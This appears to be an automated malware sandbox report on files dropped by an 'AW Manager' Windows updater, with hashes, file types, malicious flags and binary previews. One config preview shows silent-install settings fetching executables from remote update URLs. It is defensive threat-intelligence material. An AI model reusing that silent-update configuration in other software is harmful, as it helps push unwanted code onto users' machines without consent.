Reputation:	unknown
Preview:	...... ..........................n... ..........V...........................h....... .... ............... ......*........ .h...^4..(... ...@.....................................................................................................................................................................................................................................ww.w............fg.fh...........fg.fg..........x.x.............f....v..........fx...fo.........fo...f..........w....f...........................w..w............wx.w.....................................................................................................................................................................................................................................?...?...?...?...?...?...?...?...?...?...?...?...............................................................?....(.......0........... .....................................................................................................

C:\Windows\Installer\{798E61D4-8923-4E77-A74B-2DF264394A48}\logo.exe

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	MS Windows icon resource - 5 icons, 16x16, 32 bits/pixel, 24x24, 32 bits/pixel
Category:	dropped
Size (bytes):	43973
Entropy (8bit):	7.311238919310844
Encrypted:	false
SSDEEP:	768:tkh0lOcdVMA1bVrbAd2o0Om4zwfBw9P2aEuZeQmb6WEEvCMn8O+RMkqbRYR+mny:t+KVph7ywJwB5ZeQmbwMn8zRMkpy
MD5:	627EB577DA1600430450F554116ED32C
SHA1:	D7A198BA82721CB335D20BF27FA5F6762DDEE92B
SHA-256:	2BC3A9CE18A7FCB66BB6FAB198CFAF68DD1A9321BDE70010814073983CEB1FDC
SHA-512:	5210023AA54AC46DA86A0F41BA23FC4D95911385D42199459189A96CF88ADB0D2B1CAC6124E4B9D8C801AE553C884CFE60C96C4B8D637980EDF1F572F9A8C8E0
Malicious:	false
Reputation:	unknown
Preview:	............ .h...V......... ......... .... .....F...00.... ..%............ ./g...D..(....... ..... .....................................................................k..y.....................................}..T..4..u...o...o...o...q...{..............K...2..t...n...m...p...r...u...v ..v ..x#..l...O..........O..f...r...o...o...o...n...s...v...u...u...v ..n...Y..........]..n...},..P.._............Q..o...v ..w!..n...W..........]..d...t......................[..m...w!..w!..n...W..........]..f...j......................Q..o...v ..w!..n...W..........]..e...o......................S..o...v ..w!..n...W..........]..e...k......................[..m...w!..w!..n...W..........\..o...x#...2..B..^........G..p...v ..w!..n...W..........N..d...s...q...q...p...m...m...s...u...u...w!..o...Z.............g..9..z'..r...m...o...s...t...v ..w"..x#..g...M..............................i..9..z'..p...k...p...F.............................................

C:\Windows\Installer\{C845414C-903C-4218-9DE7-132AB97FDF62}\SystemFoldermsiexec.exe

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	MS Windows icon resource - 8 icons, 32x32, 16 colors, 4 bits/pixel, 24x24, 16 colors, 4 bits/pixel
Category:	dropped
Size (bytes):	14534
Entropy (8bit):	5.08612958031438
Encrypted:	false
SSDEEP:	192:gWiXwlNwH5AxLV1th7743rsl0rMeaJ/1Nc6keo0/waIkllDh2syOqniTJ8Q:gWd7wqRGYlEMe6/3NkmIkR2syOqi1X
MD5:	C2649AD15118FD46780D6FCBC38447D0
SHA1:	F32EFACB590F5028A9F5DA7236CC74086A3C87EC
SHA-256:	F0F4D5BF1DE9D2463031520AFF51FEB1E7D432ECEA447534A91CBBD79832AC89
SHA-512:	322EA628ED541713457248341B2CD0A95B6DD3661C9E1E4A22285368872A1B2A89808E272E2A6195B34FD47BD02C33AA893D0C324FBE35E4D65C5E5F401A81AE
Malicious:	false
Reputation:	unknown
Preview:	...... ..........................n... ..........V...........................h....... .... ............... ......*........ .h...^4..(... ...@.....................................................................................................................................................................................................................................ww.w............fg.fh...........fg.fg..........x.x.............f....v..........fx...fo.........fo...f..........w....f...........................w..w............wx.w.....................................................................................................................................................................................................................................?...?...?...?...?...?...?...?...?...?...?...?...............................................................?....(.......0........... .....................................................................................................

C:\Windows\Installer\{C845414C-903C-4218-9DE7-132AB97FDF62}\logo.exe

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	MS Windows icon resource - 5 icons, 16x16, 32 bits/pixel, 24x24, 32 bits/pixel
Category:	dropped
Size (bytes):	43973
Entropy (8bit):	7.311238919310844
Encrypted:	false
SSDEEP:	768:tkh0lOcdVMA1bVrbAd2o0Om4zwfBw9P2aEuZeQmb6WEEvCMn8O+RMkqbRYR+mny:t+KVph7ywJwB5ZeQmbwMn8zRMkpy
MD5:	627EB577DA1600430450F554116ED32C
SHA1:	D7A198BA82721CB335D20BF27FA5F6762DDEE92B
SHA-256:	2BC3A9CE18A7FCB66BB6FAB198CFAF68DD1A9321BDE70010814073983CEB1FDC
SHA-512:	5210023AA54AC46DA86A0F41BA23FC4D95911385D42199459189A96CF88ADB0D2B1CAC6124E4B9D8C801AE553C884CFE60C96C4B8D637980EDF1F572F9A8C8E0
Malicious:	false
Reputation:	unknown
Preview:	............ .h...V......... ......... .... .....F...00.... ..%............ ./g...D..(....... ..... .....................................................................k..y.....................................}..T..4..u...o...o...o...q...{..............K...2..t...n...m...p...r...u...v ..v ..x#..l...O..........O..f...r...o...o...o...n...s...v...u...u...v ..n...Y..........]..n...},..P.._............Q..o...v ..w!..n...W..........]..d...t......................[..m...w!..w!..n...W..........]..f...j......................Q..o...v ..w!..n...W..........]..e...o......................S..o...v ..w!..n...W..........]..e...k......................[..m...w!..w!..n...W..........\..o...x#...2..B..^........G..p...v ..w!..n...W..........N..d...s...q...q...p...m...m...s...u...u...w!..o...Z.............g..9..z'..r...m...o...s...t...v ..w"..x#..g...M..............................i..9..z'..p...k...p...F.............................................

C:\Windows\Logs\DPX\setupact.log

Download File

Process:	C:\Windows\SysWOW64\expand.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	345054
Entropy (8bit):	4.386404642030125
Encrypted:	false
SSDEEP:	192:0K9KmK9KIK7KIK7KYK7KIK7KYK7KIK7KYK7KIK7KYK7KIK7KYK7KIK7KYK7KIK7a:h
MD5:	15DE2FBEE9F9431EC9B92ADD3625B415
SHA1:	E47DCE6D2C515FBB6E1C0FCE27DCCA153D4C2FE8
SHA-256:	6FEE40A6A7A81568D215E22716F8BB82F25FD23804EF0352AB630EBC1A1547B0
SHA-512:	E319A0B71CA292B2D1FBBAE6A28AB28400FD621C319A79A57747E691BE1E803CACBBECC8F4E9694DBCE87ED376982AC7F66DF8AA640D8EF26513EFFA3E4A7B2F
Malicious:	false
Reputation:	unknown
Preview:	.2023-10-03 11:48:47, Info DPX Started DPX phase: Resume and Download Job..2023-10-03 11:48:47, Info DPX Started DPX phase: Apply Deltas Provided In File..2023-10-03 11:48:47, Info DPX Ended DPX phase: Apply Deltas Provided In File..2023-10-03 11:48:47, Info DPX Started DPX phase: Apply Deltas Provided In File..2023-10-03 11:48:47, Info DPX Ended DPX phase: Apply Deltas Provided In File..2023-10-03 11:48:47, Info DPX CJob::Resume completed with status: 0x0..2023-10-03 11:48:47, Info DPX Ended DPX phase: Resume and Download Job..2023-10-03 11:48:49, Info DPX Started DPX phase: Resume and Download Job..2023-10-03 11:48:49, Info DPX Started DPX phase: Apply Deltas Provided In File..2023-10-03 11:48:49, Info DPX Ended DPX phase: Apply Deltas Provided In File..2023-10-03 11:48:49, Info

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	364484
Entropy (8bit):	5.365499447556792
Encrypted:	false
SSDEEP:	1536:6qELG7gK+RaOOp3LCCpfmLgYI66xgFF9Sq8K6MAS2OMUHl6Gin327D22A26KgauG:zTtbmkExhMJCIpEN
MD5:	0C55B1FFFB95F313C95FE2AAF484DBE1
SHA1:	BCD0A6AC4774A9515DCA270328B03C6EC696B7D8
SHA-256:	9C45DFD9A52B5F87DBDF3C6492D87C385D0980E7B084E03FBFA9B1A864905F98
SHA-512:	CEBF1A6FB6AE9C6BFE9BE2912100A85BDBD93799ADD7EE53C4F048C4B4E096B60F68F36703AF0EC49C6B7B546E8AB256B7AE6C57698E1D8642567AB2E7B982C7
Malicious:	false
Reputation:	unknown
Preview:	.To learn about increasing the verbosity of the NGen log files please see http://go.microsoft.com/fwlink/?linkid=210113..12/07/2019 14:54:22.458 [5488]: Command line: D:\wd\compilerTemp\BMT.200yuild.1bk\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe executeQueuedItems /nologo ..12/07/2019 14:54:22.473 [5488]: Executing command from offline queue: install "System.Runtime.WindowsRuntime.UI.Xaml, Version=4.0.0.0, Culture=Neutral, PublicKeyToken=b77a5c561934e089, processorArchitecture=msil" /NoDependencies /queue:1..12/07/2019 14:54:22.490 [5488]: Executing command from offline queue: install "System.Web.ApplicationServices, Version=4.0.0.0, Culture=Neutral, PublicKeyToken=31bf3856ad364e35, processorArchitecture=msil" /NoDependencies /queue:3..12/07/2019 14:54:22.490 [5488]: Exclusion list entry found for System.Web.ApplicationServices, Version=4.0.0.0, Culture=Neutral, PublicKeyToken=31bf3856ad364e35, processorArchitecture=msil; it will not be installed..12/07/2019 14:54:22.490 [

C:\Windows\SysWOW64\config\systemprofile\AppData\Local\AdvinstAnalytics\57adf5f3482b9a503e2bed2b\5.0.3\tracking.ini

Download File

Process:	C:\ProgramData\AW Manager\Windows Manager\updates\v113\v113.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	11
Entropy (8bit):	3.2776134368191165
Encrypted:	false
SSDEEP:	3:1EX:10
MD5:	EC3584F3DB838942EC3669DB02DC908E
SHA1:	8DCEB96874D5C6425EBB81BFEE587244C89416DA
SHA-256:	77C7C10B4C860D5DDF4E057E713383E61E9F21BCF0EC4CFBBC16193F2E28F340
SHA-512:	35253883BB627A49918E7415A6BA6B765C86B516504D03A1F4FD05F80902F352A7A40E2A67A6D1B99A14B9B79DAB82F3AC7A67C512CCF6701256C13D0096855E
Malicious:	false
Reputation:	unknown
Preview:	[General]..

C:\Windows\SysWOW64\config\systemprofile\AppData\Local\AdvinstAnalytics\57adf5f3482b9a503e2bed2b\5.0.3\{A44E2BD3-0DC6-4EBA-A5E8-33AFBF6E2E9D}.session

Download File

Process:	C:\ProgramData\AW Manager\Windows Manager\updates\v113\v113.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	638
Entropy (8bit):	5.303578649369019
Encrypted:	false
SSDEEP:	12:SZEBDrJvFAjZQBGSbJkWjO6SF1ToqWeUHxAWVFAjKGeGSbJkWjO6SF1Toqy:SZEBzAiXGWjgZonXqeXGWjgZoj
MD5:	F140649C40A6928BF0C7BB07AB71C6F4
SHA1:	82FBFAC64D43E945252477ACE79F2F8439776647
SHA-256:	C7835FD4E936A0BA43E1CA5EB7D882819ACD4C6B06E50A14A1EFA362F5ED938C
SHA-512:	C8D97683D2B0C3FA1D1EBE1937B1C23DB18998A76E078DEE703A70C4042D0CCB6D421FF78346BADF79745A2B0951552ACDBE0B1AA5DDCE239434A3FC04862593
Malicious:	false
Reputation:	unknown
Preview:	[Hit {F7403E94-E9B1-42FB-B375-82D798EC7DE5}]..Queue Time = 16..Hit Type = lifecycle..Life control = start..Protocol Version = 3..Application ID = 57adf5f3482b9a503e2bed2b..Application Version = 5.0.3..Client ID = 0FE055F2B553B4F63196993CAFB92D618C823BFE..Session ID = {A44E2BD3-0DC6-4EBA-A5E8-33AFBF6E2E9D}....[Hit {B8E3D9A8-A76C-43A1-9414-129CFFA6BFD3}]..Queue Time = 0..Hit Type = lifecycle..Life control = end..Life status = success..Protocol Version = 3..Application ID = 57adf5f3482b9a503e2bed2b..Application Version = 5.0.3..Client ID = 0FE055F2B553B4F63196993CAFB92D618C823BFE..Session ID = {A44E2BD3-0DC6-4EBA-A5E8-33AFBF6E2E9D}..

C:\Windows\SysWOW64\config\systemprofile\AppData\Local\AdvinstAnalytics\57adf5f3482b9a503e2bed2b\5.0.4\tracking.ini

Download File

Process:	C:\ProgramData\AW Manager\Windows Manager\updates\v114\v114.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	11
Entropy (8bit):	3.2776134368191165
Encrypted:	false
SSDEEP:	3:1EX:10
MD5:	EC3584F3DB838942EC3669DB02DC908E
SHA1:	8DCEB96874D5C6425EBB81BFEE587244C89416DA
SHA-256:	77C7C10B4C860D5DDF4E057E713383E61E9F21BCF0EC4CFBBC16193F2E28F340
SHA-512:	35253883BB627A49918E7415A6BA6B765C86B516504D03A1F4FD05F80902F352A7A40E2A67A6D1B99A14B9B79DAB82F3AC7A67C512CCF6701256C13D0096855E
Malicious:	false
Reputation:	unknown
Preview:	[General]..

C:\Windows\SysWOW64\config\systemprofile\AppData\Local\AdvinstAnalytics\57adf5f3482b9a503e2bed2b\5.0.4\{F22376E5-8BE1-48DC-9909-AFE26757248B}.session

Download File

Process:	C:\ProgramData\AW Manager\Windows Manager\updates\v114\v114.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	637
Entropy (8bit):	5.31210617695775
Encrypted:	false
SSDEEP:	12:YEyrWVFAjZQBGSbJkfjO6SF1T1chjBjISWVFAjKGeGSbJkfjO6SF1T1A:JySAiXGfjgZOwqeXGfjgZe
MD5:	C070797E5154236F20D2FFD8EB3A7998
SHA1:	C8336F7F7E9F76FE354D9039D7B083971A505ACE
SHA-256:	477CD9D63FA38E50B7AEAC6532986D05FE702D36C5F4DFAB76B982E2E9FBDDA2
SHA-512:	30F8C10BBB60F306F5D952CA5A42F6C1C275CADB71AFC5CD7D13F619DE726F6A18431A6CB4C6E08FBE23C5106A91CAA7E74D108BB22B58D79038CA648A00D09A
Malicious:	false
Reputation:	unknown
Preview:	[Hit {1C39C39D-D1F8-4D17-A146-403F652966CB}]..Queue Time = 0..Hit Type = lifecycle..Life control = start..Protocol Version = 3..Application ID = 57adf5f3482b9a503e2bed2b..Application Version = 5.0.4..Client ID = 0FE055F2B553B4F63196993CAFB92D618C823BFE..Session ID = {F22376E5-8BE1-48DC-9909-AFE26757248B}....[Hit {07586BB1-B037-41AB-85A9-EB52B78F39AB}]..Queue Time = 0..Hit Type = lifecycle..Life control = end..Life status = success..Protocol Version = 3..Application ID = 57adf5f3482b9a503e2bed2b..Application Version = 5.0.4..Client ID = 0FE055F2B553B4F63196993CAFB92D618C823BFE..Session ID = {F22376E5-8BE1-48DC-9909-AFE26757248B}..

C:\Windows\Temp\INA7D61.tmp

Download File

Process:	C:\ProgramData\AW Manager\Windows Manager\updates\v113\v113.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	783784
Entropy (8bit):	6.388227283064485
Encrypted:	false
SSDEEP:	12288:JB0aQYpzr8qjh/Kf+UA0i6mjqBUBavHqNajAJLVxAKNYFglvqrr3m/Xz/b/cEV:v0ax050IUBeqkeVJYFCqrLm/Xz/b/cEV
MD5:	07DF9CA625C2CB953B2A7F7F699CEE7C
SHA1:	3225E84B51BA76EB650231C94231B70B70B997C9
SHA-256:	265D462E9BD3FC4BDF925590A852707A52E0707407FDC4BA40A468542E8DBB77
SHA-512:	104A32900AC3F7A3815CE4670AA430677EB48BD3B8A5E17F0A05C333B8FAF776756408784C8191EA51FFD54AD52D7FCBF2611570A275EFDC6BF1B04B5706F9FD
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$........p..[.y.[.y.[.y.Ozz.V.y.Oz\|...y.7e}.J.y.7ez.L.y.7e\|...y.Oz}.C.y.Oz..Z.y.Ozx.F.y.[.x.h.y.ep...y.ey.Z.y.e..Z.y.[...Y.y.e{.Z.y.Rich[.y.........................PE..L...].\`.........."!.........F............................................... ............@..........................M.......N....... .......................@..$...h5..p....................6.......5..@............................................text...h........................... ..`.rdata..............................@..@.data........`.......H..............@....rsrc........ ......................@..@.reloc..$....@......................@..B........................................................................................................................................................................................................................................................................

C:\Windows\Temp\INACC6B.tmp

Download File

Process:	C:\ProgramData\AW Manager\Windows Manager\updates\v114\v114.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	808464
Entropy (8bit):	6.399509710294407
Encrypted:	false
SSDEEP:	12288:LPO8KYTJAJ5NqLaphV6mzFf3zLha2xqe4k+pqm8esHxYs265R3PPn70+8xM9:LG/pPhPzLM28e4UtHh5R3PPn70+8xM9
MD5:	DD1F93EB81E6C99BA9BE55B0C12E8BB4
SHA1:	1D767983AAA4EB5C9E19409CF529969142033850
SHA-256:	F55B853958F07B15F0DAE7A871C1EBE2EC117EF54BA3811D31CEC4C8AE471D9B
SHA-512:	7968839CA3E7337B2E7774D92C4A3666E9B7D8D76000475B39C2BDA6DB3320FC9B2100322505997798AF5631A007787FBD8D0D6FE0B51949C545C67E696AAF1A
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......bu.2&..a&..a&..a.f.`+..a.f.`...aDl.`7..aDl.`>..aDl.`u..a.f.`>..a.f.`'..a.f.`;..a&..a...a.m.`h..a.m.`'..a.m(a'..a&.@a$..a.m.`'..aRich&..a........................PE..L.....gb.........."!.........R......................................................4/....@......................... ................................8..........p...H...p...............................@............................................text...x........................... ..`.rdata..0...........................@..@.data...@...........................@....rsrc................B..............@..@.reloc..p............Z..............@..B........................................................................................................................................................................................................................................................................

C:\Windows\Temp\MSI7EBB.tmp

Download File

Process:	C:\ProgramData\AW Manager\Windows Manager\updates\v113\v113.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	385960
Entropy (8bit):	6.405386710561945
Encrypted:	false
SSDEEP:	6144:vrDow+ZsrLg3bmfKlGzIqSqYf+SAOfVKE/M5TiyX:3owv43bqKlRHJVa9iyX
MD5:	D07DDD437009EBB9C21882579BF2DF0D
SHA1:	A24A636DB25ED29E5353FA5D274BF80C2AB8AD98
SHA-256:	C4F49B995E259A043AF81D987C6781B8736F5709348BB997EDAD183CCC396CAF
SHA-512:	8C845EC3EFFC0041DB3A550ADDDC1F175E1169CA00767C89D38FABAA59F97AE987B529C0AD71D0DEF0007A21FB3FD98200B0834408C5889D93F9EA035C60ECA3
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........{........................?.........................................................C......C.......C.............C.......Rich............PE..L.....\`.........."!................ZV....................................................@.........................`l......4t..........0........................>..8...p...............................@............... ............................text...O........................... ..`.rdata..............................@..@.data................x..............@....rsrc...0...........................@..@.reloc...>.......@..................@..B........................................................................................................................................................................................................................................................................................

C:\Windows\Temp\MSI8071.tmp

Download File

Process:	C:\ProgramData\AW Manager\Windows Manager\updates\v113\v113.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	881064
Entropy (8bit):	6.445970518390351
Encrypted:	false
SSDEEP:	24576:p/NO9Ibn5dhulTll7VFv1/dSYKOC8fE/cod+I++qHfV5xJd9zlY:aKtulJl7VFv1lxKOC8fE/cod+j+qHfV8
MD5:	5A25FB13ED470B77EEFD2EB89CB62C47
SHA1:	3DBE567E3C8C8CD0F7E3C71A2536578EE11BF2A6
SHA-256:	0DCA4854897CA77080C57936AD5C7C6C5F5C656A5785C09C7D2C1D196E4F3336
SHA-512:	2EC64666AD42E955E91378AF855DA59D3BCFB4CC3574BF023DDA878C7D3E3DEC442625DE6E6B0434D1CAF86A525395B04038CF7FDC6C292405D9F19C6F4E9952
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........j...............`......`.k........................`......`......`.....................................w............Rich....................PE..L.....\`.........."!................X.....................................................@.........................0...t............................X..............h...p..............................@............................................text...>........................... ..`.rdata..............................@..@.data...L...........................@....rsrc................f..............@..@.reloc...............l..............@..B................................................................................................................................................................................................................................................................................

C:\Windows\Temp\MSICE04.tmp

Download File

Process:	C:\ProgramData\AW Manager\Windows Manager\updates\v114\v114.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	536592
Entropy (8bit):	6.427124970627738
Encrypted:	false
SSDEEP:	6144:s32hV/GguOWuGAtLppJZZ5QNIwqKljoMA3KzAOXalOHZRrQinqR/S:m2hV/BGgpV3QWyjwmklOHZ3nq5S
MD5:	6EA65025106536EB75F026E46643B099
SHA1:	D6F5801E370C92D8E5C2336B4022CC6CB6EC1F99
SHA-256:	DAE76CCE74D63E7935FDE4383020659D75B68632F8A01F2053EC895E69BB4EFB
SHA-512:	062AED4C7541346B7338E1D234A50AA9AF76F103A65268BA65A42508A26C10CC27CCFCE6131485403AFA36D8A8CD69F3BF1E55CD1A1F675357B87228AACBB988
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........R...<...<...<...?...<...9.u.<...8...<...?...<...9...<...8...<...:...<...=...<...=.m.<.^.5...<.^.<...<.^....<.....<.^.>...<.Rich..<.........PE..L...Z.gb.........."!.........................................................P............@.........................P...(...x...,...............................0Z......p...............................@...............(............................text............................... ..`.rdata..............................@..@.data...t"..........................@....rsrc...............................@..@.reloc..0Z.......\..................@..B........................................................................................................................................................................................................................................................................................

C:\Windows\Temp\MSICE82.tmp

Download File

Process:	C:\ProgramData\AW Manager\Windows Manager\updates\v114\v114.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	935952
Entropy (8bit):	6.465848738967934
Encrypted:	false
SSDEEP:	24576:w327CUJc4RQ8Btk8Y5EiwB4aNXVW+hv+AhiC:cAc4RQ8BtDAoB4aNXVW+hv+AhiC
MD5:	91D4A8C2C296EF53DD8C01B9AF69B735
SHA1:	AD2E5311A0F2DBBA988FBDB6FCF70034FDA3920D
SHA-256:	A787E7A1AD12783FCBF3F853940590329E0FF0DDDF17282324F2D95ED6408F23
SHA-512:	63C5506A55DEA2B3BD1C99B79B5668F5AFC0104564E92F07AFB42F2F2B67EAE9D0E0174CB36E6095A27A6C71496206042079B6E5A2B2FF787F3CB9EF20995E9E
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........:b..[...[...[..7)...[..7)..Q[..#...[..#...[..#..[..7)...[..7)...[...[...Z..d"...[..d"...[..d"...[...[...[..d"...[..Rich.[..........PE..L...!.gb.........."!................ ........................................p......,.....@.........................0\|..t....\|.......`...............*.......p.......,..p...................@-.......+..@............................................text...N........................... ..`.rdata..T...........................@..@.data...T............x..............@....rsrc........`.......,..............@..@.reloc.......p.......2..............@..B................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.dat

Download File

Process:	C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe
File Type:	Generic INItialization configuration [v113]
Category:	dropped
Size (bytes):	1059
Entropy (8bit):	5.4895469933362095
Encrypted:	false
SSDEEP:	24:SS69Kqf+rqjOH7kLfSdWS6Wyqf+tPw8LfSdOn:r6l+rfHYLKB6WD+tPw8LKY
MD5:	068B29338F253C6B6F0496409C0E2704
SHA1:	A3882001341579D9F2AC17678D2F5EA5AF13BAD1
SHA-256:	ECC8BCEA44B3BF27C84D448594DF6623BC60D49535FCA10DD0134024A030F30E
SHA-512:	6C44D4A4DF8CFDA581483591A8F73D5B02AF976A3D561F18082939E00F4F0F02A7BCA418C0B95D20189168645CEC74A1E6B87D640043B2B1A4BCCC5910EB5930
Malicious:	false
Reputation:	unknown
Preview:	[v114]..Name=Windows Installer..ServerFileName=v114.exe..State=0..AutoCloseApplication=C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe..Size=4900680..NoGUICommandLineSwitch=/exenoui /qn..Flags=SilentInstall\|NoCache\|Advertises..SHA256=B0E0AC83D5090C359F84AF160AEBA9BB7317D6D64372E4DEE980C7DC23FEFE41..MD5=5dc644e00d9553fc167cb649087b8089..URL=https://dl.likeasurfer.com/updates/v114.exe..ReleaseDate=00/00/0000..RegistryKey=HKUD\Software\AdvancedWindowsManager\Windows Installer\Version..Version=>= 5.0.4..[v113]..Name=Windows Installer..ServerFileName=v113.exe..State=0..AutoCloseApplication=C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe..Size=3635424..NoGUICommandLineSwitch=/exenoui /qn..Flags=SilentInstall\|NoCache\|Advertises..MD5=8cad036c5cfed94d5319a060c488e38f..URL=https://dl.likeasurfer.com/updates/v113.exe..ReleaseDate=00/00/0000..RegistryKey=HKUD\Software\AdvancedWindowsManager\Windows Installer\Version..Version=>= 5.0.3..[Gene

C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe

Download File

Process:	C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1026936
Entropy (8bit):	6.391700413941365
Encrypted:	false
SSDEEP:	24576:lViYocX3hU49N1frFMDtpen0qZxVzCdUVdjKFoTo:LiYoM6EODtA0qZadUVdjKFoTo
MD5:	F95007206C6B2407FB69748EF7C93612
SHA1:	1B7B10470BCC56823A25274BCC3C4BFBEC76E428
SHA-256:	85CA1094E52A33019BE8EBEE09C580A31D4CAA846A6BE4412C58796BFC0FAB5A
SHA-512:	001975689CB431EC8E79D4A90597E8055DABF8E18C769818646BE7BA7708C57192956E0DC43EE3E25DD302F33246DDC226B5D6A660650878A2031B20E1B52752
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......l..7(.{d(.{d(.{d..xe&.{d..~e..{dJ..e;.{dJ.xe1.{dJ.~eu.{d...e3.{d..}e).{d..ze..{d(.zd..{d..reU.{d...d).{d..ye).{dRich(.{d........PE..L.....gb.........."..............................@.......................................@.....................................,.......4>..............x....0.......:..p...................@;..........@...............t...<........................text...o........................... ..`.rdata..2...........................@..@.data...D)..........................@....rsrc...4>.......@..................@..@.reloc.......0......................@..B........................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.ini

Download File

Process:	C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	878
Entropy (8bit):	3.73923251766526
Encrypted:	false
SSDEEP:	24:QjUd4z1MO1Ua6d4z1MO1UAfN+LeUflPUBGLkbLdv+YIOw64uG:td82OOd82OzMeUQFbRv/I7v
MD5:	2F60103BA9C4EEBE15A109ABE57939CC
SHA1:	D58B68E3F7298FB8EE6F9B743C9124649029C7A9
SHA-256:	7CAAE15F33A6DAAA6ABB272F13A899ADF0DEDA6C80CE0AAB546C95326B79E923
SHA-512:	2335E5090CA0E5DBCE85C41EA7A51E220EE455AD282BC28FC1C410A1EC955CF797993C8D5A8CC692BDE368B8A9F39196DEB65FAF86CC8D79BA6D0D1E595D4056
Malicious:	false
Reputation:	unknown
Preview:	......[.G.e.n.e.r.a.l.].....R.e.a.l.U.p.d.a.t.e.r.P.a.t.h.=.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.A.W. .M.a.n.a.g.e.r.\.W.i.n.d.o.w.s. .M.a.n.a.g.e.r.\.W.i.n.d.o.w.s. .U.p.d.a.t.e.r...e.x.e.....C.l.i.e.n.t.C.o.n.f.i.g.P.a.t.h.=.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.A.W. .M.a.n.a.g.e.r.\.W.i.n.d.o.w.s. .M.a.n.a.g.e.r.\.W.i.n.d.o.w.s. .U.p.d.a.t.e.r...i.n.i.....S.e.r.v.e.r.C.o.n.f.i.g.P.a.t.h.=.C.:.\.W.i.n.d.o.w.s.\.T.E.M.P.\.c.e.2.d.3.1.3.3.9.c.f.f.f.4.1.b.4.b.6.d.b.9.e.3.2.e.9.3.2.1.8.c.\.W.i.n.d.o.w.s. .U.p.d.a.t.e.r...d.a.t.....U.R.L.=.h.t.t.p.s.:././.a.l.l.r.o.a.d.s.l.i.m.i.t...c.o.m./.u.p.d.a.t.e.s...t.x.t.....r.e.s.t.a.r.t.a.p.p.=.....r.e.s.t.a.r.t.a.p.p.c.m.d.=.....N.o.G.U.I.=.t.r.u.e.....U.n.i.n.s.t.a.l.l.F.i.l.e.P.a.t.h.=.C.:.\.W.i.n.d.o.w.s.\.T.E.M.P.\.{.F.D.B.C.5.8.7.5.-.B.B.A.4.-.4.D.A.5.-.9.0.4.8.-.A.1.9.6.A.2.1.F.E.4.9.A.}.....b.a.t.....

C:\Windows\Temp\shi7E1E.tmp

Download File

Process:	C:\ProgramData\AW Manager\Windows Manager\updates\v113\v113.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	5038592
Entropy (8bit):	6.043058205786219
Encrypted:	false
SSDEEP:	49152:vVkDvLSkqdbEsuV+ebMh8w+/H8pF/bmlEyGjWvcP1xQ+X7TqVAMPLfQyim8kznsY:2Ll+Mn0WHl9VA2ic/
MD5:	11F7419009AF2874C4B0E4505D185D79
SHA1:	451D8D0470CEDB268619BA1E7AE78ADAE0EBA692
SHA-256:	AC24CCE72F82C3EBBE9E7E9B80004163B9EED54D30467ECE6157EE4061BEAC95
SHA-512:	1EABBBFDF579A93BBB055B973AA3321FC8DC8DA1A36FDE2BA9A4D58E5751DC106A4A1BBC4AD1F425C082702D6FBB821AA1078BC5ADC6B2AD1B5CE12A68058805
Malicious:	false
Reputation:	unknown
